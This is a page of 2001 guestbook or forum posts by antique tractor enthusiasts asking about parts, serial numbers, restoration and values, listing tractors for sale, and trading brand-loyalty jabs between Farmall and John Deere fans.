Mark wrote on Thursday, November 01, 2001 (PST): A neighbor of mine has a Ford 501 Offset tractor which he bought brand new in the late 50's. Also, a former neighbor had a 1988 Ford 1710 Offset tractor, which had power steering and was diesel. Anyone know where i could purchase one?
jim blackstock wrote on Friday, October 26, 2001 (PDT): I wonder if any one can tell me were i can buy starting papers for a field marsall in australia or how to make them
Charlie Becker wrote on Wednesday, October 24, 2001 (PDT):I bought a Leader for 375.00 and a old shotgun.It is in fairly good shape.I would like to restore it.It looks a lot like the one in the picture,however I have found three others in a junk yard and not one of them are the same.The transmissions,steering boxes,hoods,seats,hydraulics and other things are all differant.It took me a while to find the dip stick because it was hid behind some oil lines.I have not been able to find a serial# or model# anywhere on this tractor.Can anyone tell me where to look?I would like to purchase a manual if there is one available.
John Kaempfer aka ironman wrote on Tuesday, October 23, 2001 (PDT):I believe i have a vaiwa tractor. It has a traverse front spring between the front wheels, no power takeoff,no hydrolics the rear wheels are 16"with military type tires. It is low to the ground and short looks like it was used for for a tow tug. If any one is intrested in it will sell or trade, contact me by phone after 6 pm or e-mail
John Kaempfer wrote on Tuesday, October 23, 2001 (PDT):I believe i have a vaiwa tractor. It has a traverse front spring between the front wheels, no power takeoff,no hydrolics the rear wheels are 16"with military type tires. It is low to the ground and short looks like it was used for for a tow tug. If any one is intrested in it will sell or trade, contact me by phone after 6 pm or e-mail
Joe McKay wrote on Tuesday, October 23, 2001 (PDT):I need a fuel filter for a Super Dexta 2000. The model I have has 2 filters, one on the right side up-stream of the fuel pump, and one on the left side down-stream from the fuel pump. I need the one on the right (up-stream from the fuel pump). The local ford tractor dealer says they are no longer made. Any help greatly appreciated, if you have one or can direct me to a source. Thanks. Joe McKay Pinehurst, N.C.
matt vogt wrote on Tuesday, October 23, 2001 (PDT):The 1066 was a tough old tractor, but I know an old 806 with over 16000 hours on her, and the engine has never been touched!!! She has had on clutch and TA job and that was around 15,000. and she's on her second Tacometer.
Jared Rigert wrote on Monday, October 22, 2001 (PDT):i work on a dairy farm in Banks, Oregon. we own many red tractors. the "10" is the most reliable but not the most manoverable. it is the best for grinding feed and any other job were horspower is an issue butt the 806 is the best all round tractor made.
Robert Charles Wilson wrote on Monday, October 22, 2001 (PDT):The Titan and Mogul gas tractors were the forerunners to the McCormick-Deering and IHC tractor lines..........!!! Very interesting, Eh?
farmall crazy wrote on Monday, October 22, 2001 (PDT):Time you guys saw a real tractor. Like A RED one for instanct not just green piles of junk.
Mable Houzter wrote on Monday, October 22, 2001 (PDT):My husband died 6 months ago and he left a cockshutt 50 & Silver King tractor. I'm moving away from the farm and willing to sell. Take Offers
Zeke Yoder of Penn wrote on Monday, October 22, 2001 (PDT):To all interested in the FREE tractor, I'm deathly sorry but I've had an offer on it, a man offered me 50.00 dollars. If any body could match that or go higher then that then friends it's yours. I'm ever so sorry, I'll keep it until 11/14/01. I'm once again sorry
Hayseed wrote on Monday, October 22, 2001 (PDT):My price for the tractor is now set at $650.00, Don't pass this one on by folks. It will be taken to the scrap yard if you boys don't wise up.
Dave Brubaker wrote on Monday, October 22, 2001 (PDT):Het fellas 'bout that "C" the man called me and said that he's also gonna include a sickle bar mower, plow, & mini manure spreader. This tractor's in great, well cared for shape. Don't miss it, this thing will go cheap. Theirs loads more of information so call me at 717-865-0510 ask for Dave or Henry.
The Super "M" wrote on Monday, October 22, 2001 (PDT):To Gary H; The Cub was a small tractor used for light farm/yard work. The A was a little larger and had the cultivision seating.
Rein Matiisen wrote on Sunday, October 21, 2001 (PDT):To N/a re; Orchard fenders. As far as I know IHC used the W6 and W4 series for their orchard model tractors, the Farmalls, being row-crop tractors, were a bunch higher and not that suitable for orchard work. I bet you could find a set of orchard fenders for a W6 and modify them for a M, though, if that is what you're up to.
Richard Spencer wrote on Saturday, October 20, 2001 (PDT):My grandfather imported a TD35 into the UK in 1938. It was used in his agricultural contracting business and driven by my father untill 1954. I can remember riding on it as a small child, It was considered to be an axcellent tractor and a better puller than a TD9. I just wish I still had it.
robert wrote on Friday, October 19, 2001 (PDT):I had problems with my wd45 getting stuck into gear, and was getting tired of having to pull the shifter to get it back into the proper setting. I accidently discovered a fix that will prevent it from getting stuck again. There is a slight tradeoff however which was not a problem for me. if you would like instructions e-mail me..
Chuck Thomas wrote on Friday, October 19, 2001 (PDT):I just picked up a '35 T20 to clear some brush and put in some trails at my remote cabin site in Alaska . It runs but needs The Exhaust stack and some work on the Cleats . Does anyone know if there is a reprint of the shop manual available for these and how dependable they are or what could be weaknesses . I got one for parts but it doesn't have the stack .
Henry wrote on Friday, October 19, 2001 (PDT):I have a cockshutt tractor that I'm willing to sell for 400.00 O.B.O... I'm a retired farmer and ready to sell at any price. 717-865-2881
Z.Yoder wrote on Friday, October 19, 2001 (PDT):Free tractor still available, see previous message from October 18th, 2001 for details...I'll be responding to messages left in a couple weeks... thanks for waiting...
Albert Miles wrote on Friday, October 19, 2001 (PDT):My father is selling the farm & machinery; included is 2 oliver row crops, god bless em' great ol' tractors...
Zeke Yoder wrote on Thursday, October 18, 2001 (PDT):ATTENTION- I have a AC"B" on my property that must be removed by 12/14/01, it starts & runs but needs paint and a little work. I'm too old to do such things. it's here for the taking- FREE... I'll check back here from time to time Please leave a message, this machine is free for the taking in South central Pennsylvania..
Ol' Hayseed wrote on Thursday, October 18, 2001 (PDT):For Sale; Minn. Moline, LPTO, 3p/h, New Tires, Tuned Engine. New Paint & Decals Also! Farm Sold, Must sell remaining machinery !! Must Sell $975.00 Or Best Offer Must be removed from property by 11/01/01 Farm in Pennsylvania! I'll check back in 1 wk leave message!!
Idalou FFA wrote on Wednesday, October 17, 2001 (PDT):We are restoring a '49 UTU in class. Been through everthing and painted. We are just now putting it back together. We should be done by December. We are "VERY" proud. It will be a classy restoration.
Clarence Meinholdt wrote on Tuesday, October 16, 2001 (PDT):I have a Oliver 60 row crop. It is a l948 model. I enjoy using it.It is in great shape and it is a powerful tractor.
The Super "M" wrote on Tuesday, October 16, 2001 (PDT):God Bless The Farmall Tractor. And have mercy on those green blooded morons. A David Bradly is more dependable than a Deere... I'll be back...
The Super "M" wrote on Tuesday, October 16, 2001 (PDT):A team of mules are more dependable than a John Deere! Farmall Forever! A Farmall could run circles around a Deere! John Deere is just a name without power to back it up.
Matt from Pennsylvania wrote on Tuesday, October 16, 2001 (PDT):My pap sold his farmall super M for $1,700.00. It had wide front, 3p/h, and hydro. He sold it with bush hog, scraper blade, and tire chains. How much was this machine worth ( I know way more than 1700) I loved that tractor! it was a true work horse. He's sorry he sold it, real sorry
Joe Stroud wrote on Monday, October 15, 2001 (PDT):I have a Farmall Cub which I think is a 1947 model. The data plate info is; Model - F Cub; Serial Number - 89354. I am thinking of doing an engine overhaul and need additional info as to the exact year model and F model on this tractor. If anyone could provide info I would greatly appreciate it. Thanks
N/a wrote on Monday, October 15, 2001 (PDT):Did any farmall tractor come with the orchard fenders
stanley blackwell wrote on Sunday, October 14, 2001 (PDT):iI HAVE A D SERES CASE OR DO ANI NEED A WATER PUMP,HAVING A HARD TIME FINDING ONE.WILL A SC WORK? SOMEONE HELP ME
Danielle Koski wrote on Saturday, October 13, 2001 (PDT):I have seen this tractor before-well because it sits in my backyard. You see my dad collects and restores antique tractors, and this doesn't mean John Deere's. He collects and restores the rare ones-the ones most people would forget about. Like I said, he owns a Titan like this, or one similar to this. I'm not exactly sure. All I know is it is LOUD! Anyways, if any of you are ever in Oakley, Michigan (It's around Saginaw) on the third weekend in August, stop the Mid-Michigan Old Gas Tractor Show and you can see some of the rare ones (and some that aren't so rare) that my dad has collected. The Mid-Michigan Old Gas Tractor Association also has a website, but I'm not sure what the address is. You can more info about the show, and though my dad is anti-computer, his associates who know how to use the computer will probably be helpful in answering a lot of your questions.
coatts wrote on Saturday, October 13, 2001 (PDT):Still looking for a Ford 541 offset tractor, I have found a ford 2000 offset and have restored and have taken it to several shows this year. a lot of individuals have never seen an offset ford before.
Wiley wrote on Friday, October 12, 2001 (PDT):I am interested in buying a good JD 820/830 tractor. tks wiley
charlie o'neill wrote on Friday, October 12, 2001 (PDT):the tractor pictured has strait steering wheel.1956 and 1957 had a strait wheel where the 1958 had a slant wheel. i hav a 1958 my dad bought new in the fall of 57. he passed away in 89 and willed it to me. i have restored it and take it to a lot of shows. i have got a lots of blue ribbons with it. the tractor can not,i repeat, can not be bought. thanks for your time.
B.J. Kaufman wrote on Friday, October 12, 2001 (PDT):I have a B.F. Avery Model A that belonged to my father. He used it primarily for moving snow, but it has not been used since he died four years ago. Does anyone have any idea as to what this tractor may be worth?
Jeremy wrote on Friday, October 12, 2001 (PDT):What is the differance between the Johndeere A and the G? Were the G tractors bigger? What was the production year? (star to finish) In 1950 was the A the bigest tractor available? Any help you have will be greatly appriciated. Thanks
DICK CHATTERTON wrote on Thursday, October 11, 2001 (PDT):some restored some field ready. Also s.c. post hole digger for sale.AC 3point hitches for sale. decal sets,along with most needed parts for WD+WD 45 Tractors.
tina wrote on Thursday, October 11, 2001 (PDT):We are auctioning off a 1955 Pacer on ebay from 10/10/01 - 10/20/01. This tractor is in good working condition and comes with front/rear cultivators and disk. It is selling with a very low reserve. email for information or view it at ebay - cgi.ebay.com/ebaymotors/aw-cgi/eBayISAPI.dll?ViewItem&item=596605096
chris wrote on Thursday, October 11, 2001 (PDT):I have a 60 and would like to buy (or build) a cultivator that mounts behind the front tires. I've had this tractor for 9 years, and every year I'm getting more into farming. I love it. Any info would be greatly appreciated. (Pictures would be great!!) Thank you.
dana edgerly wrote on Thursday, October 11, 2001 (PDT):i have a 1965 ac d12 series111 i am looking for a grill the tin work is ex.and does not look very good without the grillthanks for any information on one
Lawson Thomas wrote on Wednesday, October 10, 2001 (PDT):We have a 1942 Farmall M and i was with a narrow front and we are in the process of restoring it.......again, however a few weeks ago i for the first time in my life saw a M with a 4 wheel drive unit on a wide front. The unit was powered by the belt pully. I was wondering if any one out there had ever seen or heard about this. Living in a rural aria in western PA the you see a lot of old tractors and Farmalls are particurally popular, most are still used in farming but i have never seen anything like the 4 wheel drive M any info would be appriceated Thanks.
KEITH ROZEBOOM wrote on Wednesday, October 10, 2001 (PDT):Nice tractor. I beleive sean is right, these type of tractors were intorduced farmer to the tracto and to slowly replace horse drawen equipment. I've seen a very similar one not to long ago. It was a diffenent make but also steered with reins. I beleive it was called a "PowerHorse" but I'm not sure who made it. If anyone knows who makes it please let me know.
Doug Knutson wrote on Wednesday, October 10, 2001 (PDT):I bought a "B" from a old farmer around Bently, Alberta. The tractor was one of many that where sitting in his pasture forming a long fence line of sort. I stop one day while working in the area, spotting the little rusty tractor and fell in love. After installing new rear rims, general clean-up and a fresh paint job, I had one cute little unit. Continues to run great cutting grass and moving small trailers around the farm in Kipling Saskatchewan.
Jeff Swafford wrote on Tuesday, October 09, 2001 (PDT):Aaron - I'm no expert on IH tractors, but if my memory serves me right, back in the days when I was into pulling (early to mid 70's) I believe the 1066's cranked out about 115 hp. They always dominated at the tractor pulls in my south central Wisconsin hometown. The Oliver 1750's and 1755's didn't have as much hp and the JD's didn't have traction to out pull those big red monsters.
B Bormann wrote on Tuesday, October 09, 2001 (PDT):I have an 880. I pull it in tractor pulls.I usually bring home one place or another.
Gene wrote on Tuesday, October 09, 2001 (PDT):I have a 55 TO35 #S158737. It has a single stage clutch like on the "Special" But the console has the steering wheel and all the instruments (tack,oil, amp,temp)like described on the "Deluxe" Which one is it? Also the hood has places for four metal nameplates. One on the nose, two "Ferguson-35" to each side and one on the right side that I don't know what it is. Can you help? After peeling off many different layers of color paint. The last colors were light gray(like Ford gray from "TSC") and dark green on the chassis under the pedals and hyd. lift arms.
RCW wrote on Monday, October 08, 2001 (PDT):The AC line was the 'average' or very modest farmers tractor; it served the purpose very well for working-small farmer in the 1930's to the 1960'! A wonder era in Agriculture!
DEBBIE BEYER wrote on Monday, October 08, 2001 (PDT):I have a 1952 Massey Harris Tractor with one bottom plow. I believe that this is a "Pony". Tractor does run and is in good shape. I'm trying to establish a value. Can anyone help me out?
Dave wrote on Sunday, October 07, 2001 (PDT):I have a 48 Oliver 60. It runs great.I rebuilt it about 2 months ago becaues it had a noise somewhere.I put all new bearings , But still is knocking some where. I pulled it 3 times. Got two 2nds and a 4th. I need to get more weight in the front end.I hate looking up while I'am pulling. Your tractor looks great.
geral springer wrote on Sunday, October 07, 2001 (PDT): looking for wide front end for 630 good condition 501 785 4779 where can i get main bearing at good price might sell tractor
Lura Walker wrote on Saturday, October 06, 2001 (PDT):I am looking for information on an Avery Model R tractor. Please respond, possible with Pictures..Thanks
Floyd Jenkins wrote on Friday, October 05, 2001 (PDT):I have just acquired a 1939 Case tractor that needs restoration.Any suggestions from people are welcome-parets books,shows,etc.
Richard Paquette wrote on Thursday, October 04, 2001 (PDT):I bought a Super 55 gaz model 4 years ago and i use it to pull out trees from the forest. Last week i bought a log splitter (hydraulic double action cylinder). My problem is; i really dont know how to connect the 2 hooses from the log splitter to the original hydraulic external control body valve (brand name Vickers part number from the parts book 1ES-2007-A. For who should be interested, i have the original parts book in english and owner book in french. I appreciate your help and long life to this forum.
Blake Long wrote on Thursday, October 04, 2001 (PDT):Hi, Doug. My Father still owns two Farmall Super M tractors, and they both still run. He isn't farming anymore, but I'm sure he will keep them both for the rest of his life. I don't know what kind of shape your M is in, but I think these tractors have a very tough engine. My Grandfater bought both the Super M's of my Dad's in 1953, new. One only my Grandfather drove until he died in 1975, and that tractor has never had the head off it, and the other one was used by the hired men, all the time. Its been overhauled at least once. When I was in High School, I took the more used one to school for a shop project and learned a lot about it. Like most people never change the transmission/axle gear oil. I would highly reccomend it. I think it holds 13 gallons to the check plug. Anyway, due to clutch problems one time, and a distributor problem once, I know the engine has been siezed at least twice and loosened up, and would you belive it runs fine afterwards. Try checking the "wishbone" on your front end, it could be worn out of adjustment and you may need to shim the front axle pin where it swivels. Ours didn't always get the attention they needed on the farm at that time, so Dad said to drive slower on ours. Well, I hope you enjoy your M. They are a solid tractor. I changed ours over to 12V in the 80s and its easy to do, just change your coil is all I did, and add a GM alternator and 12v battery. Then you can run 12v lights if you want to. Well, take care of the old M.
Victor Brown wrote on Wednesday, October 03, 2001 (PDT):I'm trying to colect information on the W Series tractors. Does anyone have the technical specifications for the W4 eg. engine capacity, HP, standard tyre size? Any info. would be a great help. Thanks
Aaron Tipton wrote on Tuesday, October 02, 2001 (PDT):Any info on MM NTX tractors. Would like to know year mine was built (ser. no. 3295X ). How many were built and correct color scheme. Thanks. (828)682 4442
fred wrote on Monday, October 01, 2001 (PDT):can someone help me identify this fordson tractor ; i bleve it to be a 1954/1956 petrol/kerosine tractor i need to know to see if i can get engine parts to rebuild the engine as it wont go any moore.
Martin Bormann sept.30 2001 wrote on Sunday, September 30, 2001 (PDT):The D-17 I own Does my grain drilling ,feed grinding,and square bailing.Originally I bought it for my wife to use to rake hay and pull in loads of hay and corn, but it seemed so handy now I find myself using it more and more. I am going to construct my own three point hitch,and make the tractor more useful yet. I will share this with anyone who is interested. I also have a D-14 manuel will trade for a D-17 manuel .
Richard wrote on Saturday, September 29, 2001 (PDT):Driving through my home town, spotted my uncle out in his yard. Haven't seen him in a few years and he's gettin mighty old, so I took the opportunity to drop in. We talked for two hours, His old 60 he bought new had its nose poking out of the barn. See that he attached a 45 loader to it. Also noticed he kept his 50 something pickup.
Bill Thomasson wrote on Friday, September 28, 2001 (PDT):This is my tractor. Photo is at Brooks Oregon tractor show. My dad bought it in 1912 in Chico, California. Four to five horse pull with sieve grip wheels. Tractor built by Samson Iron Works, in Stockton Calif. One cylinder, 7" bore, 9" stroke. It is built low to the ground to work in orchards, unlike other tractors which are high above the ground to work in crop fields.
bill levad wrote on Thursday, September 27, 2001 (PDT):Hi Nice tractor. I have one just like it I also have some parts for the old farmall super and c's email me if you are needing some.
dale thompson wrote on Wednesday, September 26, 2001 (PDT):I have an AC B not sure of the year, wide front end. I also have a track system that can be added, all parts including the extra set of boggy wheels. I was wondering the value of these items or knowlege of how I could find out any help would be appreciated
Eric wrote on Wednesday, September 26, 2001 (PDT):I thought it was the 50 which replaced the model "B". Didn't the 60 replace the model "A". The caption below the picture says the 60 replaced the "B"
Jason Hite wrote on Wednesday, September 26, 2001 (PDT):If anyone has any questions on the oliver standard 70 email me. Here on the farm we have a 1937 standard 70 that we still use. Bought new in 1937 by my great, great grandfather it has pased down through four hard working generations. This tractor is a power house at 70 horsepower. its part of are A team line here at the farm;Its paired with some of the best trctors ever built for the smaller acerage famrer. These tractors are the oliver of course and a 1954 aliss chalmers WD. A 1942 farmall "A". and the baby the 1954 Cub. These are all in working condition and are still used to farm with along with our old haying equipment
Jason Hite wrote on Wednesday, September 26, 2001 (PDT):If anyone has any questions on the oliver standard 70 email me. Here on the farm we have a 1937 standard 70 that we still use. Bought new in 1937 by my great, great grandfather it has pased down through four hard working generations. This tractor is a power house at 70 horsepower. its part of are A team line here at the farm;Its paired with some of the best trctors ever built for the smaller acerage famrer. These tractors are the oliver of course and a 1954 aliss chalmers WD. A 1942 farmall "A". and the baby the 1954 Cub. These are all in working condition and are still used to farm with along with our old haying equipment
Tom Anderson wrote on Tuesday, September 25, 2001 (PDT):I Have a Farmall Cub with this serial Number #200446J If you could please tell me what year this tractor would be I would greatly appreciate it.Please e-mail me as soon as possible. Thank -you Tom Anderson
Dave White wrote on Tuesday, September 25, 2001 (PDT):I'm interested in locating some snap coupler equipment for my WD45. Is anyone aware of where any snap coupler equipment could be obtained. In particular, a springtooth, disk, or other snap coupler items.
micahael wrote on Tuesday, September 25, 2001 (PDT):got to use a MM G1000 LP as a pull off tractor at the boone county fair truck and tractor pulls. It used to be a farm stock puller so it had the large tires on it and it had to chrome straight pipe. It sounded awesome and had plenty of power.
Buck wrote on Monday, September 24, 2001 (PDT):Want to buy an NTX in good condition or better. Please contact me via e-mail if you have one for sale. Thank a lot!
Charles T Reece wrote on Monday, September 24, 2001 (PDT):I'm looking for parts to repair my WD45 Shift assemble Gearshift cogs are wornout yolks and sifter seem to be in ok condition. Does anyone have any parts that are available searches on the internet are comming up fruitless.
Mike wrote on Sunday, September 23, 2001 (PDT):Can anyone tell me what attachments are available either new or old for the pony tractor. If anyone has any available please let me know. I Have a Rear PTO belt drive & 1 1/8" splined shaft. Also,is it possible to buy (build) a maunal operated 3 point hitch (or hydraulic if I can adapt a pump)for these pony tractors? I have one that was just "given" to me. I have wanted a compact tractor with a loader / hoe for awhile but am not sure if I could ever adapt this one to meet my needs.
M. Urelius wrote on Sunday, September 23, 2001 (PDT):Hello, i currently own 2 30's one is a farmcrest. I bought the farmcrest for $800 at a sale about 6 years ago in Lohrville IA. The other was given to my dad from his uncle for restoring a farmall super m, he gave it to me since i already had one. The farmcrest was repainted about 5 years ago but i still havent found decals for it. If you know where i might get them please let me know. It runs and looks like new. I use it to pull wagons in from the field in the fall and take it to plowing nearby plowing festivals a few times a year. I usually pull a 3 bottom John Deere w/ 14 inch bottoms in 3rd Low. I have 2 100pound weights on each wheel and put 4 IH suitcase weights on the drawbar when plowing. In packed ground it tends to run out of power have to shift down a gear. Does anyone know how many bottoms this tractor was designed to pull? Also ive had problems w/ the steering, it is quite hard to steer and the front wheels wobble a tiny bit at higher speeds. Has anyone else had this problem? The model 30 seems to have a lot of power for its size, if i remember right mine has 32hp at the pto last time i had it on the dyno. They seem to be a little light though, mine was helpless untill i added the wheel weights, which seem hard to find.
Mike wrote on Sunday, September 23, 2001 (PDT):Can anyone tell me what attachments are available either new or old for the pony tractor. If anyone has any available please let me know. Also,is it possible buy a 3 point hitch (Maunal lift of course) for these pony tractors? I have one that was just "given" to me. I have wanted a compact tractor with a loader / hoe for awhile but am not sure if I could ever adapt this one to meet my needs.
Steve Davis wrote on Sunday, September 23, 2001 (PDT):I was about 15 years old when my uncle bought a G VI diesel and I drove it to his ranch, I thought it was the biggest tractor I'd seen in my life. Know I am 47 and I own one myself. We used the tractor for plowing wheat lands. We probably over hauled three times so that tells you how many hours we put on the moline tractor.
lance Rudloff wrote on Sunday, September 23, 2001 (PDT): How much horsepower does this tractor have? Thank you.
Bernard wrote on Saturday, September 22, 2001 (PDT):Re; Virgil Bremer You are correct. Allis did make d21 w/ fwa however didn't mass produce them. They worked based on hydraulics to pull the front end. Gilbert Vust, a AC collector, buyer, seller, all around AC fanatic has in his possesion i believe 2 or 3. U can contact him by looking in a phone book of Portage La Prairie, Manitoba, Canada. U can also ask him about Rally of the Orange in 2004.
Lynn Smith wrote on Saturday, September 22, 2001 (PDT):I bought a 1955 Super 55 diesel in May of 2000, worked on it all of last year and this year to get it in great shape. It had new paint, and all of the broken parts were replaced with new old stock or good used parts. I had to sell it and my Super 88 diesel to put a down payment on a house and set of barns that I always wanted. I feel like my right arm's been cut off now without my Olivers. Anyone know where I can buy some more like these to fix up again? That's half the fun of it!
Jean Bartos wrote on Friday, September 21, 2001 (PDT):I'm looking for a photo of a Case 15-30 tractor. I have a great story about my cousin and my Dad and THAT TRACTOR (as my cousin still calls it) 60+ years later! I'd like to know the year of mfg, and any other basic info. I remember it had the iron wheels like this 10-18. I think it ran on kerosene, but I'm not sure.
Roy C. Wolf wrote on Thursday, September 20, 2001 (PDT):Wonderful old tractor; the "M"; however, when it first came out in the 1939, I sure wanted Dad to buy one; but, we kept using the old 15-30 and a Farmall.
CSherman wrote on Wednesday, September 19, 2001 (PDT):My daddy and I have a 53' Super M that we use to pull a hay rake and a tedder as well as a grain auger. It also pulls a 300 bushel gravity wagon on flat ground with no problems. We have a 68' 856 with a loader that does all of our mowing,baleing,bushogging, and loader work. Our 73' 1466 is a real workhorse also. It gets alot of heavy work and pulls a 30 ft. grain drill as well as a 450 bushel grain cart, but it is not so big that it can't do smaller work such as spreading fertilizer etc. All three are excellant and powerful tractors that were built when IH was the king of the tractor world. I am glad to see CASE IH finally trying to get back some of the tractor market, but International Harvester tractors will always be THE BEST EVER BUILT.
Dan wrote on Wednesday, September 19, 2001 (PDT):I recently purchased an international 300U and am pleased with this tractor. I would like to find information on HP ratings and year model according to serial #'s. I am interested in finding a front end loader and possibly a backhoe attachment. Any information on parts or specifications will be appreciated.
Brad Brooks wrote on Tuesday, September 18, 2001 (PDT):The easiest way to tell a WD and a WD-45 apart is to look at the side of the engine block. The WD will have a plate on the right side of the engine block. It looks like a chunk of 1/8" steel bolted to the block. If it has this plate of steel on it, it is surely a WD and not a WD-45.
Scott Dias wrote on Monday, September 17, 2001 (PDT):Have come across two Case tractors. Both are complete and appear to have been running when parked. S/N#'s are 5220488DO & 5501298DV. Figured out there year and that the are orchard and vineyard models. Can any one tell me production numbers and if there is any interest.
Frank wrote on Monday, September 17, 2001 (PDT):I just purchased A 57 IH 350/Industrial tractor It has c175 gas engine,A Roy Wain backhoe. My problem is the wiring on it has seen better days and it needs to be replaced.I do not know where i can get a wiring manual for it. Anybody know where I can pick one up. it would be much appreciated. thanks
Mel Wofford wrote on Monday, September 17, 2001 (PDT):This note is just in addition to the one above. I am experiencing some difficulties with my e-mail. The address of this note should work. BUT, my phone number is 541-744-3848 (Pacific Time Zone). Please call me with any information. Thank you!
Roger wrote on Saturday, September 15, 2001 (PDT):I looked at a IH 330 today. No implements. Has PTO and Hydraulics. 1800 hours on gauge. Asking price is $2200. It seems reasonably priced. I've noticed several people mention 330 "Utility". This one does not have "Utility" on it anywhere that I can see. Are these tractors easy to buy implements for, what are the main problems most of them have. Is there a source for an owners manual? Thanks
Glen wrote on Saturday, September 15, 2001 (PDT):I have for sale two(2) Bmodel AC. One ran two months ago and the other was purchased with the engined seized, but complete. Included are several pcs of equipment. Single furrow plow-5ft belly mount cicle mower-4 ft. rear mouint flail mower- small oliver manual manure spreader(original paint and painted lettering) Poor health is my dissicion to sell all. Looking to sell and replace with Lawn and garden equip. Email if interested. Located near LBL- TN and KY
Colin. wrote on Saturday, September 15, 2001 (PDT):A neighbour, who's not on the net, has a small I.H. garden tractor of about 1960's vintage. It has been 'modified' engine wise, and wants to restore to it's original glory. Would any of you enthusiast's possibly have any information, and or addresses that he may find useful in his quest. We are based in Somerset in the U.K. Thank you all very much.
Brian lill wrote on Friday, September 14, 2001 (PDT):I have a 1948 or 1949 Allis Chalmer wd for sale.im asking $850 the tin is good and runs great. It is used on the augar every fall and draging the yard and pulls a 3 buttom plow with no trouble. it is the best tractor i have ever plowed with.
Jim Broughton wrote on Thursday, September 13, 2001 (PDT):To; Wayne Mazurra...there are 15 cap screws on the "head" of a Cub...face your head so that the water intake is up front...there are three rows of screw holes, one running up the left side' one running up the center and one row up the right side. Start your sequence with the very center hole in the center row #1 #2 is forward of that, next to the water intake ,#3 is just behind #1,to the rear of the head, next #4 is center left, #5 is center right, # 6 is just ahead of $4 on left side,#8 is just ahead of #5 on the right side. #7 is on left side ,just behind # 4...#9 is on the right side, just behind #5..#10 is front left,11 is front center, #12 is front right.. rear left is #13, rear center is #14 and rear right is #15. Torque to 45 ft.Lbs in that sequence, O.K.? See your Ih dealer or any good automotive parts house for plugs..setting is .023 Lots of luck. Jim B.
Russ Conn wrote on Wednesday, September 12, 2001 (PDT):My dad bought a To-20 in 1950 and I have it now. It still runs great and even though it was used hard through the years, it has only been overhauled once in 1964. In response to Ark's questions, I converted mine to 12v about 10 years ago. I used a 12v Ford car generator, but if you use an alternator, use a small one off a 4 cyl. as a big one will drag the tractor's engine down. I kept the 6v starter and the and the fast spinning starts the tractor so fast that it hasn't burnt out in all these years. I will eventually have to have it rewired to 12v. As far as your coil is concerned, it's ok. You'll have to pick up a ballast resistor at your local parts store. As it is a generic type item, it costs less than $10 usually.
Mel Wofford wrote on Tuesday, September 11, 2001 (PDT):I have a 1953 MH 33 and am searching of the Hitch-All assesmbly (3 pt) for my tractor. I have been told, but not confirmed, the the similar unit of a 44 could possibly work. Does anyone have a unit for sale, know where one is for sale or can anyone verify the fact that the 44 unit would work? If a 44 unit would work I would be interested in it also. Thanks
Jack B. Roarke wrote on Tuesday, September 11, 2001 (PDT):Would to purchase a 42 inch belly mower single blade for my 1950 farmall cub, in Connecticut area.
Ralph E. Fisher wrote on Monday, September 10, 2001 (PDT):I have a 1942 Farmall A with new rubber all around, electric start, recent overhaul, engine and transmission, reworked front end, disc harrow, disc hillers, front and rear cultivators, single moldboard and numerous parts. Excellent running condition. Tractor was used to work a one acre garden for the last 30 years. Located in West Tennessee. Owner just passed away. Let me know if interested. This tractor has been well maintained.
Harold Bryant wrote on Monday, September 10, 2001 (PDT):I think you folks can still find some old original stickers and decals at Amburgy Farm Machinery in Mt. Sterling Kentucky. But be prepared to be careful with them. The old celophane decals had to be soaked in water and then slid off the paper backing and put in exact position or they will tear very easily. If this don't get them, go to Steven's Equipment, Petersburg Ill. Good Luck
Helena M. wrote on Monday, September 10, 2001 (PDT):I would like to know the weight of a 1949 Farmall Cub tractor. Does anyone know ? Please email with the answer, I need to know. Thank You
RJE wrote on Sunday, September 09, 2001 (PDT):Trying to identify this Blue Tractor with no hood,emblems or grille. The casting on right side is;EIADDN6015 the injection pump is on right.The engine is 4cyl diesel.Starter is Lucas and on left.Intake and exhaust are both on left.
Chris wrote on Sunday, September 09, 2001 (PDT): I have a Pony tractor with belt pulley, hand implentment lift and PTO,(that works). I want to know where to find the serial number to find out what year it is and where to find some parts. If anyone can help, greatly apprecited. Chris
Bud Ferguson wrote on Saturday, September 08, 2001 (PDT): I just purchase a 1936 Model B Unstiled John Deere which is all restored. I feel proud of this tractor
Martin Kennedy wrote on Friday, September 07, 2001 (PDT):Hey, that D12 looks very much like much like my dad's. It's a '61 and he bought it back in the early '70's and he still uses it. It has a front end loader with a cable released barn bucket, a three bottom plow, and disc. He modified a New Holland rototiller to fit and built a post hole auger for it. it's also pulled a few John Deere hay bailers in it's time too. It's a great little tractor, and I operated it quite often when pulling trailers or moving stuff around our small farm. I wouldn't mind owing it myself to use on my friends' farms. Maybe one day I will.
Doug Kane wrote on Friday, September 07, 2001 (PDT):I have a Mod.60 totally restored. Can anyone tell me what this tractor sold for brand new?Also I have a 801 hitch. I lack the chain and clevises plus the 2 brackets RH andLH that bolt to the draw bar.
BIG BUD wrote on Friday, September 07, 2001 (PDT):I need some help, please for my 1950 Farmall M. The big steering shaft that runs from the gear box on top to the bottom where the wheel assembly hooks on. I need to replace the bearing and need the bearing #. I need a speedy reply.
Dave Berliner wrote on Friday, September 07, 2001 (PDT):I recently acquired a 9N Serial #70068 manufacured in 1941. It was beautifully restored by it's previous owner. The paint scheme is Grey and Red. I began using it last week to run a 60 inch brush hog and it works quite well. There is a slight oil leak at the very front of the engine. The tractor had not be operated for nearly two years until last week. Has a seal deteriorated from lack of activity? Any suggestions are appreciated.
jason schott wrote on Wednesday, September 05, 2001 (PDT):JD came out with a new series for thier already piles of junk, they made them to look like the CAse IH mx magnum tractors they finally got smart enough to put on front duals. anyway can't wait for husker harvest days.
Gayle Merrill wrote on Wednesday, September 05, 2001 (PDT):I have 1947 M I purchased new. I had live power clutch by M&W installed for baler. Now that clutch slips and is no longer used. It will not adjust. Would like to know a way to terminate it without major tear down.Suggested that a drilled hole and bolt plates together will do it. Has anyone tried this. Tractor only used now for handy man jobs on farm. Been faithfull to me for 54 years.
Wayne Gerding wrote on Wednesday, September 05, 2001 (PDT):Have a 63 Ford 2000. Have found the firing order of 1 2 4 3, like most tractors, what is the reference location on the distributor. Start with the left of the notch on the cap and go clockwise.
Ryan Hunt wrote on Tuesday, September 04, 2001 (PDT):I am from Oakville, Ontario, Canada. I have an international H That I recived from my grandfather. I have the serial number FBH 36101 could anyone tell me the year of this tractor. I do plan to restore it
